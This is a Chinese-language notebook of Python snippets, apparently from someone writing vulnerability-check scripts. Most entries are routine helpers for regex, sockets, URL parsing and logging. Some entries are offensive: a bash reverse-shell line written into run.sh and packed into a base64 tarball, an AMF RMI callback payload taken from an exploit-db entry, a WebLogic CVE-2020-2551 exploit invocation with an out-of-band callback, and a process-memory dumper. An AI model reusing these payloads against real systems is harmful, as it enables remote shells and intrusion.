webserver接受文件上传
Ref:
- https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
这样是POST:
curl -i http://IP:8000 -F \"file=@/var/runtime/lib/LambdaJavaRTEntry-byol.jar\
这样是PUT:
curl -X PUT --upload-file /var/runtime/amzn-log4j-security-jdk8-0.1alpha.jar http://IP:8000
正则匹配
为了匹配这里的:
activemq.home=/home/cqq/repos/activemq/apache-activemq-5.11.1
activemq.home后面的路径,
使用以下方法:
# data是响应的内容
findword=r'activemq\.home=(.*?), '
pattern = re.compile(findword)
results = pattern.findall(data)
active_home_path = results[0]
第二例,
找到weblogic的版本:
# eg. HELO:14.1.1.0.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n
# Ref: https://github.com/rabbitmask/WeblogicScan/blob/master/poc/Whoareu.py
def get_version_by_t3(self, resp):
return (re.findall(r'HELO:(.*?).false', resp.decode()))[0]
解决使用socket接收包的时候接收包有限的问题
使用socket调用send发送数据之后,接收数据,
不管这里的参数填多大:
s.recv(4092)
但是接收到的数据包长度有限制,无法完整接收响应:
使用以下方法可解决这个问题:
s.send(payload.encode())
data = ''
#data=s.recv(4092) # 2048个字节不够大,不稳定,导致出错!(认为在响应的前2048字节会出现需要的内容)
while True:
buf = s.recv(1024)
if not buf:
logger.info("Received!")
break
# 忽略错误:https://www.cnblogs.com/zz22--/p/8799071.html
data += buf.decode(errors='ignore')
logger.info(data)
pocsuite解析url
from urllib import parse
target_url = self.url
scheme = parse.urlparse(target_url).scheme
#host, port = url2ip(target_url, True)
# 解决一些对Host头是IP或域名解析不一样的问题
host = parse.urlparse(target_url).hostname # 当url传入的是带域名时,这里保留其域名,不解析
# 1、如果url存在端口【默认】,则直接使用端口
port = parse.urlparse(target_url).port
# 2、如果url不存在端口,则根据schema使用默认端口
if not port:
if parse.urlparse(target_url).scheme == 'https':
port = 443
elif parse.urlparse(target_url).scheme == 'http':
port = 80
# 解析path,参考:https://blog.51cto.com/walkerqt/1766670
# 如果url解析之后的path不为空,则取之;反之,取self.PATH
parsed_path = parse.urlparse(target_url).path
path = parsed_path if parsed_path else self.PATH
pocsuite判断端口开放情况
host, port = url2ip(vul_url, True)
logger.info("检查端口开放情况...")
# 端口都不开放就不浪费时间了
if not self.is_port_open(host, port):
logger.info("端口不开放! 退出!")
return
logger.info("端口开放... 继续")
def is_port_open(self, p_host, p_port):
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(2)
try:
sk.connect((p_host, p_port))
print('Server port is OK!')
except Exception as e: # 碰到异常认为端口未开放,返回False
sk.close()
return False
sk.close()
# 没问题就返回True
return True
定位字符串并切割
想拿到这个字符串在某个特定字符串以前的所有字符串。比如abcdefg,想拿到d以及d之前的所有字符串:abcd。思路是想用str#find找到这个特定的字符块,然后根据这个字符块的长度,往后+length(str)即可。
参考:https://github.com/jas502n/CVE-2018-2894/blob/master/CVE-2018-2894.py
a = "C:\\Oracle\\Middleware12.2.1.3\\user_projects\\domains\\base_domain\\tmp\\WSTestPageWorkDir"
a[: a.find("base_domain") + 11]
把python代码修改成一句话
http://www.onelinerizer.com/
比如:
def f(x):
return x * 4
y = f(5)
print y
变成:
(lambda __print, __g: [[(__print(y), None)[1] for __g['y'] in [(f(5))]][0] for __g['f'], f.__name__ in [(lambda x: (lambda __l: [(__l['x'] * 4) for __l['x'] in [(x)]][0])({}), 'f')]][0])(__import__('__builtin__', level=0).__dict__['print'], globals())
传输二进制数据并修改相应的长度
amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
'\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
struct.pack('>I', int(callback_port)) + \
'\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
参考:https://www.exploit-db.com/exploits/43993
其中:
>>> struct.pack('>H', len(callback_IP))
b'\x00\x07'
>>> struct.pack('<H', len(callback_IP))
b'\x07\x00'
>>> struct.pack('>I', len(callback_IP))
b'\x00\x00\x00\x07'
其中的<和> 就是大端小端的问题。
bytes to hex
参考:https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3
>>> b'\xde\xad\xbe\xef'.hex()
'deadbeef'
逆向操作是:
>>> bytes.fromhex('deadbeef')
b'\xde\xad\xbe\xef'
正则匹配
想使用正则表达式来获取一段文本中的任意字符,写出如下匹配规则:
(.*)
结果运行之后才发现,无法获得换行之后的文本。于是查了一下手册,才发现正则表达式中,“.”(点符号)匹配的是除了换行符“\n”以外的所有字符。
以下为正确的正则表达式匹配规则:
([\s\S])
同时,也可以用 “([\d\D])”、“([\w\W]*)” 来表示。 Web技术之家_www.waweb.cn
在文本文件里, 这个表达式可以匹配所有的英文
/[ -~]/
参考:https://www.jb51.net/article/20654.htm
正则 提取HTml标签文本内容
参考:https://blog.csdn.net/weixin_42785547/article/details/86604762
应用:
>>> def find_and_print2( p_word):
... results = re.findall(r'<title>Apache Tomcat/(.*?)</title>', resp.text)
... return (results[0] if results else '')
...
>>> find_and_print2(findword)
'7.0.106'
>>> def find_and_print3( p_word):
... results = re.findall(r'<title>Apache Tomcat/.*?</title>', resp.text)
... return (results[0] if results else '')
...
>>> find_and_print3(findword)
'<title>Apache Tomcat/7.0.106</title>'
可见用()括起来的目的是拿到想要的文本。
>>> re.findall(r'dasd(.*)hgltlhl', a)
['asd92734234']
>>> type(re.findall(r'dasd(.*)hgltlhl', a))
<class 'list'>
拿到命令执行的结果
以weblogic的2551为例,
jar_2551 = "2551.jar"
command = "java -jar {0} {1} {2} http://{3}.{4}/cve_2020_2551".format(jar_2551, host, port, self.BANNER, self.DOMAIN)
VULN_YES = "vul ok"
VULN_NO = "vul error"
is_vuln = False
print(command)
#os.system(command)
r = os.popen(command)
info = r.readlines() # 那命令执行结果以一个数组的形式读进来
for i in info:
logger.info(i)
vuln_flag = info[2]
if vuln_flag:
if VULN_YES in vuln_flag:
is_vuln = True
elif VULN_NO in vuln_flag:
is_vuln = False
设置socket的recv的超时
import socket
# ref: https://stackoverflow.com/questions/2719017/how-to-set-timeout-on-pythons-socket-recv-method
import select
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(5)
s.connect((host,port))
s.send(payload.encode())
# 设置recv的超时时间为5,下面代码代表等待5s,或者数据来临
s.setblocking(0)
ready = select.select([s], [], [], 5)
if ready[0]:
data=s.recv(1024)
data = data.decode("utf-8")
#print(data[9:12]) # HTTP状态码
logger.info(data)
if data[9] == '4' and 'ActiveMQRealm' in data: # 响应4开头的状态码,则存在对ActiveMQ的basic认证提示
return True
进制转化
>>> hex(7001)
'0x1b59'
将十进制的数转换成16进制的;
还可以有这种写法:
>>> '{:04x}'.format(7001)
'1b59'
只不过后面这种写法不带0x
字样。
参考:https://github.com/shengqi158/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py
list 转为string
list1 = [1, 2, 3]
str1 = ''.join(str(e) for e in list1)
定时任务
import schedule
def do_sth():
os.system("ping test.d8b2055e3826ca2c7719.d.zhack.ca")
# 设置每2s执行一次
schedule.every(2).seconds.do(do_sth)
# 执行定时任务
schedule.run_pending()
命令行快速在浏览器中打开指定url
Requests设置proxies
参考:https://stackoverflow.com/questions/30837839/how-can-i-set-a-single-proxy-for-a-requests-session-object
import requests
proxies = {'http': 'http://10.11.4.254:3128'}
s = requests.session()
s.proxies.update(proxies)
s.get("http://www.example.com")
返回当前脚本所在工作目录
os.path.dirname(os.path.realpath(__file__))
$ python -m webbrowser -t "https://www.baidu.com"
生成四位随机数
# 来自:https://codeload.github.com/sqlmapproject/sqlmap/zip/0.6.2
def randomInt(length=4):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of digits.
@rtype: C{str}
"""
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
生成四位验证码
from itertools import product
rand_chrs="A2B3C4D5E6F7G8H9iJKLMNPQRSTUVWXYZ"
with open("codes.txt",'w') as f:
for code in product(rand_chrs,rand_chrs,rand_chrs,rand_chrs):
code = ''.join(list(code))
print(code)
f.write(code+'\n')
# $ ll codes.txt
-rw-rw-r-- 1 cqq cqq 5.7M Mar 21 00:16 codes.txt
获取随机字符串/hash
import hashlib, random, string
def get_hash():
"""获取随机字符串"""
letters = string.ascii_letters
rand = ''.join(random.sample(letters, 10))
hash = hashlib.md5(rand.encode()).hexdigest()
return hash
接收命令行参数的方法
在main()中
_, dex, apk, out_apk = sys.argv
参考:https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156
遍历目录下的文件的两种方法
参考:http://blog.51cto.com/laocao/525140
import os
def Test1(rootDir):
list_dirs = os.walk(rootDir)
for root, dirs, files in list_dirs:
for d in dirs:
print os.path.join(root, d)
for f in files:
print os.path.join(root, f)
def Test2(rootDir):
for lists in os.listdir(rootDir):
path = os.path.join(rootDir, lists)
print path
if os.path.isdir(path):
Test2(path)
'''如果只需要根目录下的文件,则可以
'''
def Test11(rootDir):
list_dirs = os.walk(rootDir)
for root, dirs, files in list_dirs:
for f in files:
print os.path.join(root, f)
'''若要返回列表,则可以
'''
def Test22(rootDir):
list_dirs = os.walk(rootDir)
list_files = []
for root, dirs, files in list_dirs:
for f in files:
return list_files.append(f)
测试结果
>>> Test1('/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen')
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
>>> Test2('/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen')
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
打印当前时间
In [2]: import time
In [6]: print list(time.localtime())
[2017, 10, 16, 13, 11, 46, 0, 289, 0]
在已有bash脚本中添加反弹shell的脚本
f = open('run.sh', 'w')
f.write('#!/bin/bash\n')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\n')
f.close()
# 最后添加执行权限
os.chmod('run.sh', 0777)
# 添加打包文件的功能
import tarfile
# 打开某gz文件,加入run.sh,然后关闭
tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()
# 读这个tar文件,并对读到的内容进行base64加密
with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())
由命令行传参数作为文件名
参考:http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html
out_file = len(sys.argv) >=1 ?sys.argv[1]: "serialized.ser"
Java代码是这样的,
String outFile = (args.length!=0)? args[0]:"serialized.ser";
判断执行者是否root用户
import os
def is_running_as_root():
return os.geteuid() == 0
获取linux发行版本
import platform
def get_linux_distribution():
try:
return platform.dist()[0].lower()
except IndexError:
return str()
demo
cqq@ubuntu:~$ python -c "import platform; print platform.dist()[0].lower()"
ubuntu
截屏
from PIL import ImageGrab
import os,time
# 截屏函数
def Screenshot():
img = ImageGrab.grab() # 这就截屏了,但是目前截屏的内容还在内存中
saveas = os.path.join(time.strftime('%Y_%m_%d_%H_%m_%s') + '.png') # 已当前时间的特定格式并以.png后缀名保存截屏文件
img.save(saveas) # 真的保存到文件了
imgout = "[*] Screenshot saved as " + str(saveas) + "\n"
return imgout
# 截屏多次
# 参数:截屏数,截屏之间的时间间隔
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%m_%s')
Screenshot()
time.sleep(intShots)
shot+=1
imgsout = "[*] Saved" + str(maxShots) + "screenshot(s) at" shottime + "\n"
return imgsout
根据pid来dump进程的内容
def dump_process(pid):
dump_result = bytes()
with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
for l in maps_file.readlines():
memrange, attributes = l.split(' ')[:2]
if attributes.startswith('r'):
memrange_start, memrange_stop = [
int(x, 16) for x in memrange.split('-')]
memrange_size = memrange_stop - memrange_start
with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
try:
mem_file.seek(memrange_start)
dump_result += mem_file.read(memrange_size)
except (OSError, ValueError, IOError, OverflowError):
pass
return dump_result
得到某二进制文件/二进制流中的可打印字符
其中min_length
为最小的可打印字符串长度
def strings(s, min_length=4):
strings_result = list()
result = str()
for c in s: # 对于s中的每一个
try:
c = chr(c) # 用一个范围在range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
except TypeError:
# In Python 2, c is already a chr
pass
if c in string.printable: # 若c是可打印的(很多是不可打印的)
result += c
else:
if len(result) >= min_length:
strings_result.append(result)
result = str()
#return strings_result
#print strings_result
for i in strings_result:
print i
判断操作系统
import sys
def tests_platform():
if "linux" in sys.platform:
pass
elif "darwin" in sys.platform:
pass
elif "win" in sys.platform:
print("Sorry, there is no support for windows right now.")
sys.exit(1)
处理信号
import signal
def sigint_handler(signum, frame):
print '\n user interrupt ! shutting down'
shutdown()
signal.signal(signal.SIGINT, sigint_handler)
判断文件是否有某内容
先读文件,看文件中有没有指定的字符串,若有,则表示已经配置过了,若没有,则将字符串写入。
TorrcCfgString = """
VirtualAddrNetwork 10.0.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 53
"""
Torrc = "/etc/tor/torrc"
if TorrcCfgString in open(Torrc).read():
print t()+" Torrc file already configured"
else:
with open(Torrc, "a") as myfile:
print t()+" Configuring torrc file.. ",
myfile.write(TorrcCfgString)
得到当前IP
from urllib2 import urlopen
from json import load
def ip():
while True:
try:
ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
except :
continue
break
return ipadd
Demo
In [5]: from json import load
In [6]: ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
<ipython-input-6-f9c124c66b26> in <module>()
----> 1 ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
NameError: name 'urlopen' is not defined
In [7]: from urllib2 import urlopen
In [8]: ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
In [9]: print ipadd
113.xxx.xx.xxx
得到当前当天的时间
import time
def t():
current_time = time.localtime()
ctime = time.strftime('%H:%M:%S', current_time)
return "["+ ctime + "]"
得到命令行参数
args = sys.argv[1:]
若命令行参数数量不够,则打印help信息
if len(sys.argv) <= 1:
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
判断命令行的参数
若不为空,则直接赋值给全局变量,否则那个全局变量就为None吧
args = parser.parse_args()
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
脚本套路
先清一下屏,然后打印出logo
os.system("claer")
print banner
终端颜色
参考:
https://github.com/susmithHCK/torghost/blob/master/torghost
class bcolors:
BLUE = '\033[94m'
GREEN = '\033[92m'
RED = '\033[31m'
YELLOW = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
BGRED = '\033[41m'
WHITE = '\033[37m'
判断目录是否存在,不存在则创建之
import os
FILE_PATH='html'
if not os.path.isdir(FILE_PATH):
print 'dir not exists'
#os.mkdir(FILE_PATH) ##只能创建单级目录
os.makedirs(FILE_PATH) ##创建多级目录
调用子线程来执行shell
import subprocess as shell
#注意:对于有空格的命令,必须使用split()将命令分为两个,作为call的参数
cmd = "ls /Users/caiqiqi/GitProjects/".split()
shell.call(cmd)
#或者
output = shell.check_output(cmd)
print output
其中subprocess.call()
是执行并得到返回值,并显示在标准输出中。而subprocess.check_output()
得到标准输出中的结果。存储在一个字符串中,得print才能得到该output
正则re来匹配flag
import re
flag = 'dsadasCTF{youname}dasdad'
matched = re.search('CTF{.*}', flag)
if matched:
print matched.group()
###
#CTF{youname}
#[Finished in 0.7s]
另外一种正则写法:
findword=u"activemq\.home=.{100}" #需要查找的特定中文字符串(认为最多100个字符串长度)
pattern = re.compile(findword)
# 在返回的响应中查找
results = pattern.findall(data)
for result in results:
active_home_path = re.split(r',', result)[0]
print(active_home_path)
使用requests用https协议时忽略warning
参考:
https://stackoverflow.com/a/28002687
首先当然是
import requests
requests.get(url, verify=False)
然后在之前加上
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
或者
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
参考:
https://github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py
生成随机IP
import random;
print str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
socket客户端
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
遍历一个list(为了拿到list的index)
a = ["a", "b", "c", "d"]
# index & value
for i in xrange(len(a)):
print i, a[i]
遍历一个list(使用python自带enumerate)
a = ["a", "b", "c", "d"]
# iterate with index
for i, el in enumerate(a):
print i, el
指定输出格式
import logging
logging.addLevelName(15, "INFO")
logger = logging.getLogger('nhentai')
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
# 原来是在这里指定输出的格式啊
FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER_HANDLER.level_map[logging.getLevelName("INFO")] = (None, "cyan", False)
logger.addHandler(LOGGER_HANDLER)
logger.setLevel(logging.DEBUG)
if __name__ == '__main__':
logger.log(15, 'nhentai')
logger.info('info')
logger.warn('warn')
logger.debug('debug')
输出后的格式为:
Python的嵌套函数
参考:
https://stackabuse.com/python-nested-functions/
https://realpython.com/inner-functions-what-are-they-good-for/
只有外部函数被调用时,内部函数才能被调用。